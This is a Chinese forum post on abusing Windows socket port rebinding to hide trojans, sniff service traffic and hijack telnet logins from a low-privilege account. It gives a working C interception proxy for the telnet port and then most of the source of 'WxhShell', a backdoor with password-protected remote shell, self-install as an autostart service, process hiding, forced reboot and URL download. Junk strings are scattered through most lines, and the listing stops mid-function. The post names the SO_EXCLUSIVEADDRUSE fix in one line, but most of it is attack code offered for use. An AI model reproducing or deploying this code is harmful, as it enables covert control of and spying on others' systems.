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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5Ah-aDBj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5=Bj?xb$'  
w <]7:/  
  saddr.sin_family = AF_INET; lh* m(  
GK}?*Lf s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z) 5n&w S  
=y7]9SOq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3Z'{#<1>^;  
G?QFF6)}!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~c!zTe  
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  这意味着什么?意味着可以进行如下的攻击: 6<H[1PI`,G  
 e4NT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @6GM)N\{[  
7|6tH@4Ub  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w_^&X;0^  
h~elF1dG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bWv6gOPR3  
PKC``+K i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K_nN|'R-  
> c7/E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fRT:@lV  
bi!4I<E>k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <Q=ES,M  
.]ZM2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f7X#cs)a  
&tZ?%sr  
  #include 6f=/vRAh$  
  #include MCQ>BP  
  #include @Risab n  
  #include    U6X~]|o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xpyb&A  
  int main() W<2%J)N<  
  { uYL6g:]+ZC  
  WORD wVersionRequested; )F? 57eh  
  DWORD ret; P0Na<)\'Y!  
  WSADATA wsaData; (W+9 u0Zq  
  BOOL val; `ea$`2  
  SOCKADDR_IN saddr; !U>"H8}dv  
  SOCKADDR_IN scaddr; Kggf!\MR8  
  int err; 1:7>Em<s  
  SOCKET s; YH<F~F _  
  SOCKET sc; C?rL>_+71  
  int caddsize; '*>LZo4  
  HANDLE mt; t@.gmUUA  
  DWORD tid;   7OtQK`P"A  
  wVersionRequested = MAKEWORD( 2, 2 ); `P/*x[?  
  err = WSAStartup( wVersionRequested, &wsaData ); h9+ylHW_cp  
  if ( err != 0 ) { G !1- 20  
  printf("error!WSAStartup failed!\n"); f'FY<ed<w  
  return -1; V@>?lv(\  
  } NJUYeim;  
  saddr.sin_family = AF_INET; -f9M*7O<gf  
   K?[pCF2C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [tMf KO  
+ y.IDn^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,_rarU)[J  
  saddr.sin_port = htons(23); =La}^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9b]U&A$  
  { eiEZtu  
  printf("error!socket failed!\n"); &;)~bS(   
  return -1; r %0  
  } U_}$QW0'  
  val = TRUE; ,a9D~i 9R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zr3q>]oma  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VA=#0w  
  { + U+aWk  
  printf("error!setsockopt failed!\n"); o%Uu.P  
  return -1; > h,y\uV1  
  } N /sEec  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2Ft8dfdm`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z{a{HX[Jx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ![a/kj  
Wkg*J3O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SaR}\Up  
  { '0CXHjZN  
  ret=GetLastError(); L,b|Iq  
  printf("error!bind failed!\n"); W s^+7u  
  return -1; Evr2|4|O~  
  } to!mz\F  
  listen(s,2); !cN?SGafZI  
  while(1) ;Na8 _}  
  { nW $A^  
  caddsize = sizeof(scaddr); S_T{L  
  //接受连接请求 &Rt+LN0qB0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FE8+E\ U?  
  if(sc!=INVALID_SOCKET) ?jNF6z*M6  
  { qeQC&U y;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fuNl4BU  
  if(mt==NULL) P[rAJJN/E  
  { -GDV[Bg  
  printf("Thread Creat Failed!\n"); pAJ=f}",]E  
  break; |'U,/  
  } ";)r*UgR{B  
  } kZU"Xn  
  CloseHandle(mt); B^i mG  
  } r~Y>+ln.  
  closesocket(s); W>p\O9BG  
  WSACleanup(); 5E]UI YAkV  
  return 0; hi;WFyJTu  
  }   <CNE>@-f  
  DWORD WINAPI ClientThread(LPVOID lpParam) NK+FQ^m[  
  { T>\nWancQM  
  SOCKET ss = (SOCKET)lpParam; %PQldPL8  
  SOCKET sc; u;+%Qh  
  unsigned char buf[4096]; [<D+p qh  
  SOCKADDR_IN saddr; $:f.Krj  
  long num; tk`: CT *  
  DWORD val; 6-*~ t8  
  DWORD ret; 457fT|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tXf}jU}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2j8Cv:{Nn%  
  saddr.sin_family = AF_INET; vQ:x% =]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'v'` F*6  
  saddr.sin_port = htons(23); xNC* ]8d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -d|BO[4j  
  { 5wzQ?07T_  
  printf("error!socket failed!\n"); F3r S6_  
  return -1; ojN`#%X  
  } ?@Z7O.u  
  val = 100; <KHv|)ak  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q?* nuE  
  { H{j~ihq7  
  ret = GetLastError(); wD<vg3e[H  
  return -1; 5*JV )[  
  } {[Uti^)m%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6PiEa(  
  { ky'|Wk6   
  ret = GetLastError(); a<f;\$h]  
  return -1; zo_k\K`{@  
  } ijvNmn1k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r@|R-Binz  
  { T1lXYhAWS  
  printf("error!socket connect failed!\n"); ISpeV  
  closesocket(sc); e ZynF<i  
  closesocket(ss); :6 Uk)   
  return -1; ! (B_EM  
  } !aQIh  
  while(1) d>^~9X  
  { 5>'?:jY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fkW3~b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nURvy}<r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y!S^xS  
  num = recv(ss,buf,4096,0); VKT@2HjNT`  
  if(num>0) V)2"l"Kt  
  send(sc,buf,num,0); +7Sf8tg\  
  else if(num==0) &\&'L|0F  
  break; GMEw  
  num = recv(sc,buf,4096,0); `ifb<T  
  if(num>0) :_MP'0QP  
  send(ss,buf,num,0); nA>*IU[  
  else if(num==0) L5R `w&Up  
  break; f8^"E $"  
  } i B%XBR  
  closesocket(ss); dj3|f{kg{  
  closesocket(sc); &K06}[J  
  return 0 ; kX igX-  
  } b+W)2rFO  
ah 4kA LO  
W7%p^;ZQ$  
========================================================== zs4>/9O  
P`}$-#DF  
下边附上一个代码,,WXhSHELL u06tDJ[  
xy2\'kS`G  
========================================================== l &}piC  
~GSpl24W<  
#include "stdafx.h" lrCm9Oy  
+:}kZDl@ X  
#include <stdio.h> T:c7@^=  
#include <string.h> ex.+'m<g  
#include <windows.h> g+igxC}2z  
#include <winsock2.h> /d[Mss  
#include <winsvc.h> >g=^,G}y  
#include <urlmon.h> TKK,Y{{  
1d`cTaQ-  
#pragma comment (lib, "Ws2_32.lib") K-Re"zsz  
#pragma comment (lib, "urlmon.lib") 8098y,mQe  
bi+9R-=&  
#define MAX_USER   100 // 最大客户端连接数 4/b(Y4$,[r  
#define BUF_SOCK   200 // sock buffer ,cLH*@  
#define KEY_BUFF   255 // 输入 buffer t5%TS:u  
9`&?hi49nK  
#define REBOOT     0   // 重启 S3ErH,XB.  
#define SHUTDOWN   1   // 关机 `a-Bji?  
|4=ihB9+  
#define DEF_PORT   5000 // 监听端口 gRHtgR)T3  
z3clUtC+  
#define REG_LEN     16   // 注册表键长度  64SW  
#define SVC_LEN     80   // NT服务名长度 H4W1\u  
Ih; aBS  
// 从dll定义API S[Vtq^lU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |0lLl^zp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kPWBDpzN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^,Lt Ewd~Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I<sfN'FpT  
TFo}\B7  
// wxhshell配置信息 )GK+  
struct WSCFG { en%J!<&W{K  
  int ws_port;         // 监听端口 ># INEO  
  char ws_passstr[REG_LEN]; // 口令 x9h?e`  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;r3}g"D@  
  char ws_regname[REG_LEN]; // 注册表键名 tp@*=*^I  
  char ws_svcname[REG_LEN]; // 服务名 ~H7!MC~K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H*GlWgfG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 : g 5(HH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N=q#y@L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <o2,HTWNPS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ti}f&w ICJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zgy7!AF!  
DjY8nePyE  
}; P`tyBe#=  
h 5Hr[E1  
// default Wxhshell configuration Sg_O?.r  
struct WSCFG wscfg={DEF_PORT, 9YAM#LBTWi  
    "xuhuanlingzhe", lVP |W:~K  
    1, &m'?*O |  
    "Wxhshell", D'<$ g  
    "Wxhshell", d bCNhbN(  
            "WxhShell Service", Oc#>QZ3  
    "Wrsky Windows CmdShell Service", ^}hJL7O'  
    "Please Input Your Password: ", GtC7^ Z&E  
  1, =)(0.E  
  "http://www.wrsky.com/wxhshell.exe", C\OECVT  
  "Wxhshell.exe" pp<E))&R  
    }; X PA 0m  
;>8kPG  
// 消息定义模块 vmLpm xS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fa4=h;>a+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5} G:D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yWNOG 2qAP  
char *msg_ws_ext="\n\rExit."; 0t+])>  
char *msg_ws_end="\n\rQuit."; 7|Xe&o<n  
char *msg_ws_boot="\n\rReboot..."; g>_OuQ|c  
char *msg_ws_poff="\n\rShutdown..."; b;*c:{W)  
char *msg_ws_down="\n\rSave to "; _H8*ReFG  
Zb"jB$58  
char *msg_ws_err="\n\rErr!"; 0iV;g`%  
char *msg_ws_ok="\n\rOK!"; a_MFQf&KV  
lY8`5Uz  
char ExeFile[MAX_PATH]; [3kl^TE  
int nUser = 0; +mLD/gK`  
HANDLE handles[MAX_USER]; 7k'gt/#up  
int OsIsNt; &sdx`,  
_KN: o10U  
SERVICE_STATUS       serviceStatus; "b`7[;a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y[@0qc3UO  
jQ|:I7y  
// 函数声明 Q(e{~ ]*  
int Install(void); (xu=%  
int Uninstall(void); C B/r]+4  
int DownloadFile(char *sURL, SOCKET wsh); eVx~n(m!}  
int Boot(int flag); Y.NE^Vn0  
void HideProc(void); t0.;nv@A0  
int GetOsVer(void); ]+ZM/'X  
int Wxhshell(SOCKET wsl); hl<y4y&|  
void TalkWithClient(void *cs); r%|A$=[Q  
int CmdShell(SOCKET sock); W+\?~L.  
int StartFromService(void); `c9'0*-  
int StartWxhshell(LPSTR lpCmdLine); M$H`^Pv  
cJ2PI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jM@?<1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V'I T1~  
!3V{2-y$-  
// 数据结构和表定义 )b0];&hw]  
SERVICE_TABLE_ENTRY DispatchTable[] = 7h`^N5H.q  
{ H99xZxHZ{  
{wscfg.ws_svcname, NTServiceMain}, nA+F  
{NULL, NULL} F,&)X>:l  
}; [~)x<=H8{  
#ua^{OrC/  
// 自我安装 GyK(Vb"h6  
int Install(void) 1O0X-C,wo$  
{ 8#l+{`$z  
  char svExeFile[MAX_PATH]; /?P!.!W&  
  HKEY key; K{2h9 ]VF  
  strcpy(svExeFile,ExeFile); ~j"3}wXc5  
'fn$'CeM(  
// 如果是win9x系统,修改注册表设为自启动 WqQU@sA  
if(!OsIsNt) { $UC{"0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X3yS5wh d(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ke]Yfwk  
  RegCloseKey(key); G?ig1PB"#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {m[Wyb(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n}q$f|4!  
  RegCloseKey(key); AG>\aV"b  
  return 0; uY]0dyI  
    } |'$ l7  
  } TF2KZL#A|  
} ve fU'  
else { n"Z |e tZ4  
Y{+3}drJE  
// 如果是NT以上系统,安装为系统服务 *)D1!R<\,R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :j,}{)5=  
if (schSCManager!=0) kP^*h O!%  
{ CmHyAw(  
  SC_HANDLE schService = CreateService `{o$F ::(  
  ( +?AW>&68y  
  schSCManager, ``4?a7!!  
  wscfg.ws_svcname, p9iu:MucD<  
  wscfg.ws_svcdisp, V;;#/$oU:4  
  SERVICE_ALL_ACCESS, N}mh}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w & P&7  
  SERVICE_AUTO_START, ]\dHU.i  
  SERVICE_ERROR_NORMAL, t^U^Tr  
  svExeFile, Ao"C<.gUYP  
  NULL, 2y%R:Mu  
  NULL, BIj   
  NULL, c\K<sM{  
  NULL, 12OlrU  
  NULL 30d#Lq  
  ); oY.\)eJ~>  
  if (schService!=0) iRt*A6`m+  
  { vaB!R 0  
  CloseServiceHandle(schService); FmD +8=  
  CloseServiceHandle(schSCManager); VB"(9O]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5v|EAjB6o  
  strcat(svExeFile,wscfg.ws_svcname); = F<:}Tx)C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { taDQ65  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gDC2 >nV  
  RegCloseKey(key); L!y"d!6C  
  return 0; GTAf   
    } (a#pvEY  
  } 0Oap39  
  CloseServiceHandle(schSCManager); 6t m \L  
} O{ q&]~,  
} vRr9%zx  
V3uXan_  
return 1; B^q<2S;  
} YgimJsm  
~ffwLgu!  
// 自我卸载 Uk'U?9O  
int Uninstall(void) vpLMhf`  
{ 1`l;xw1W  
  HKEY key; D#0O[F@l##  
h<NRE0-  
if(!OsIsNt) { <\aU"_D   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e=>% ^F  
  RegDeleteValue(key,wscfg.ws_regname); wS$46M<  
  RegCloseKey(key); >| m.?{^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fp;a5||5  
  RegDeleteValue(key,wscfg.ws_regname); A*i_|]Q  
  RegCloseKey(key); : Ss3ck*=  
  return 0; n)RM+g  
  } 8x{Hg9  
} BIfi:7I;Q  
} CDCC1BG"  
else { GOVAb'  
ti9}*8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XU9'Rfp  
if (schSCManager!=0) &t3Jv{  
{ w2zp#;d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ] .5O X84  
  if (schService!=0) %?=)!;[  
  { hQ';{5IKvC  
  if(DeleteService(schService)!=0) { (("OYj  
  CloseServiceHandle(schService); z_l. V/G)  
  CloseServiceHandle(schSCManager); d)KF3oA  
  return 0; KlO(o#&N  
  } e{!vNJ0`  
  CloseServiceHandle(schService); VMHC/jlX@r  
  }  Zi4d]  
  CloseServiceHandle(schSCManager); =DMbz`t  
} 28oJFi]  
} MZ~.(&  
Pfan7fq+  
return 1; TB#N k5  
} zH=hI Vc  
Dl A Z"C  
// 从指定url下载文件 #ZTLrq5b  
int DownloadFile(char *sURL, SOCKET wsh) _]o5R7[MQ  
{ rBfg*r`)  
  HRESULT hr; \]8i}E1  
char seps[]= "/"; /^ 4"Qv\@/  
char *token; VQ<5%+  
char *file; UH20n{_:  
char myURL[MAX_PATH]; Ub)M*Cq0(o  
char myFILE[MAX_PATH];  yekRwo|  
8*Zvr&B,G  
strcpy(myURL,sURL); 4bI*jEc\[  
  token=strtok(myURL,seps); ~6d5zI4\  
  while(token!=NULL) 3cThu43c  
  { .Dx2 ;lj  
    file=token; }cW#045es  
  token=strtok(NULL,seps); =l,#iYJP8  
  } q[c Etp28h  
5-w:c>  
GetCurrentDirectory(MAX_PATH,myFILE); 9h&yuS'Yj  
strcat(myFILE, "\\"); NvHN -^2  
strcat(myFILE, file); X9~p4ys9{  
  send(wsh,myFILE,strlen(myFILE),0); {^m5#f 0"  
send(wsh,"...",3,0); P(;Mb{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]o*$h$?s  
  if(hr==S_OK) )4ncutb  
return 0; O<X )p`,`  
else 38wq (  
return 1; sX'nn   
*#h;c1aP  
} ]^ 'ZiyJX  
Q52 bh'cuU  
// 系统电源模块 kzi|$Gs<  
int Boot(int flag) zlkWU  
{ @L8;VSI  
  HANDLE hToken; Z4@y?f v7s  
  TOKEN_PRIVILEGES tkp; xA-jvu9@  
0;cuX@A/a?  
  if(OsIsNt) { bNs[O22  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ke6n/ h5`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g;G5 r&T  
    tkp.PrivilegeCount = 1; 6b#~;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !*bdG(pK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jw4TLc7p  
if(flag==REBOOT) { OjATSmZ@@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FmI;lVF0j  
  return 0; Efr3x{ j  
} Q>%E`h  
else { f{_)rsqf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aAcKwCGq\  
  return 0; }) 7K S?  
} /7vE>mSY  
  } 6[+j'pW?  
  else { ]_ #SAhOR)  
if(flag==REBOOT) { gh61H:tkR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <<<NXsH  
  return 0; pVz*ZQ[]  
} PWG;&ma  
else { 24X=5Aj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XtzOFx/  
  return 0; {u4i*udG`)  
} `^%@b SE(  
} Tk](eQsy.v  
3?^NN|xg  
return 1; a7*COh  
} Z@oKz:U  
t= *Jg/$  
// win9x进程隐藏模块 8!4[#y<  
void HideProc(void) ;sQ2 0 B'  
{ pN+I]NgQ  
_yJ|`g]U3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ql8^]gbp+  
  if ( hKernel != NULL ) %omu  
  { |D+p$^L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ays L-sqR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R8ZD#,;  
    FreeLibrary(hKernel); U!NI_uk  
  } kQ[Jo%YT?E  
|Eu*P  
return; mtX31 M4  
} Gw`/.0  
c_DaNEfaY  
// 获取操作系统版本 i'iO H|s  
int GetOsVer(void) g-|Kyhr?=  
{ Z9f/-|r5  
  OSVERSIONINFO winfo; NfqJ=9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I1i:}g/  
  GetVersionEx(&winfo); "$P'Wv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %2YN,a4  
  return 1; fFHK:n`  
  else Iu%^*K%  
  return 0; Iht'e8)gq  
} O$U}d-Xnx  
UQnBqkE  
// 客户端句柄模块 C$_G'XI  
int Wxhshell(SOCKET wsl) 8=pv/o  
{ A$ J9U3+O  
  SOCKET wsh; yWmrdvL  
  struct sockaddr_in client; 9BO|1{  
  DWORD myID; ,3k@L\$.x  
0}D-KvjyP  
  while(nUser<MAX_USER) 4uPH  
{ y:C)%cv}*  
  int nSize=sizeof(client); L9$&-A9ix  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T?#s'd  
  if(wsh==INVALID_SOCKET) return 1; nfa_8  
'(TmV#3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?N`qLGRm  
if(handles[nUser]==0) ",QYDFFeF  
  closesocket(wsh); @o60 c  
else |+u+)C  
  nUser++; ot0U-G(  
  } ovbEmb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +\srZ<67  
3jXR"@Z-  
  return 0; J ZA*{n2  
} R qn WtE  
@]E]W#xAn  
// 关闭 socket [0wP\{%  
void CloseIt(SOCKET wsh) }\DAg'e)  
{ ,!r@9T  
closesocket(wsh); :q(D(mK  
nUser--; Ca X^)  
ExitThread(0); 'V1!&Q6  
} JBvk)ogM  
>T`zh^+5W  
// 客户端请求句柄 ygMd$0:MN  
void TalkWithClient(void *cs) }\>+H  
{ H<$pHyxU  
x\6] ;SXX  
  SOCKET wsh=(SOCKET)cs; JV&Zwbu  
  char pwd[SVC_LEN]; <r_3obRC  
  char cmd[KEY_BUFF]; K[e`t%2_  
char chr[1]; xUIvLH=  
int i,j; VB%xV   
9:WKG'E8a  
  while (nUser < MAX_USER) { k5/}S@F8  
t!$/r]XM h  
if(wscfg.ws_passstr) { :yeTzIz]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?T&D@Ohsx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sh RvwE[  
  //ZeroMemory(pwd,KEY_BUFF); r}w 9?s^rB  
      i=0; LGkKR{ep(  
  while(i<SVC_LEN) { 'aJ?Syn  
?T"crX  
  // 设置超时 ]  D(3   
  fd_set FdRead; bE{`g]C5  
  struct timeval TimeOut; l;fH5z  
  FD_ZERO(&FdRead); %]` WsG  
  FD_SET(wsh,&FdRead); 1Ppzch7  
  TimeOut.tv_sec=8; K`sm  
  TimeOut.tv_usec=0; ' =kX   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :0l(Ll KD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ))vwofkw4  
\$I )}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e# DAa  
  pwd=chr[0]; g  YZgo  
  if(chr[0]==0xd || chr[0]==0xa) { xHmc8G$zu  
  pwd=0; _nt%&f  
  break; !E8JpE|z#  
  } $}829<gh7  
  i++; E*$:~w  
    } spf}{o  
,o`qB81  
  // 如果是非法用户,关闭 socket RL%{VE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iT5%X   
} A@4Cfb@  
l d@^ $  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5y)kQ<x"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z'~5L_.]Ai  
"(5}=T@,  
while(1) { >; Bhl|r~z  
F&\o1g-L  
  ZeroMemory(cmd,KEY_BUFF); {XAKf_Cg  
H0S7k`.  
      // 自动支持客户端 telnet标准   "T'!cy  
  j=0; ?{n#j,v!  
  while(j<KEY_BUFF) { sC$X7h(Q+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N=kACEo  
  cmd[j]=chr[0]; JmK+#o  
  if(chr[0]==0xa || chr[0]==0xd) { z)0Fk  
  cmd[j]=0; LImD]e`  
  break; sdY6_HtE  
  } Q'N<jX[  
  j++; j(SQNSFD  
    } _i&\G}mrC  
mnePm{  
  // 下载文件 $T6<9cB@  
  if(strstr(cmd,"http://")) { (]JJ?aAF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %+.]>''a  
  if(DownloadFile(cmd,wsh)) $t]DxMd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ n>0!  
  else sTb/l!=o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ZsME,  
  } 1_' ZbZv4h  
  else { tnsYY  
C'Ymz`iQ  
    switch(cmd[0]) { ` :2C9,Xu  
  Vo\d&}Q  
  // 帮助 Gp14;  
  case '?': { LRs{nN.N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HTC7fS  
    break; *?uF&( 0  
  } E,;nx^`!l  
  // 安装 |^=`ln!  
  case 'i': { Djzb#M'm  
    if(Install()) 1osI~oNZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ZmpcoDI  
    else ]KfHuYjM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Ya&M@^Z  
    break; pD]Ry" ZG  
    } ?TXFOr]g]2  
  // 卸载 b x@CzXre;  
  case 'r': { e'jR<ln|  
    if(Uninstall()) '? d[ ip  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0-5:"SN'  
    else $R^"~|m3M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9SrV,~zD  
    break; TiOvrp7B  
    } 9(C Ke,  
  // 显示 wxhshell 所在路径 l6O2B/2j  
  case 'p': { 71~V*  
    char svExeFile[MAX_PATH]; wxoBq{r;  
    strcpy(svExeFile,"\n\r"); :( `Q4D~l  
      strcat(svExeFile,ExeFile); .{Xi&[jw  
        send(wsh,svExeFile,strlen(svExeFile),0); k~?@~xm,R  
    break; @a~K#Bvlm  
    } h_cZ&P|  
  // 重启 m\t %wr  
  case 'b': { 2]7nw1&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KT8Fn+  
    if(Boot(REBOOT)) 4-TM3Cw`d&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }SYvGp{J,  
    else { y.>r>o"0  
    closesocket(wsh); {U4%aoBd8  
    ExitThread(0); h7*m+/O  
    } $ }&6p6|  
    break; J sH9IK:  
    } JeO(sj$e  
  // 关机 ]@'YlPU  
  case 'd': { rsP1?Hxq  
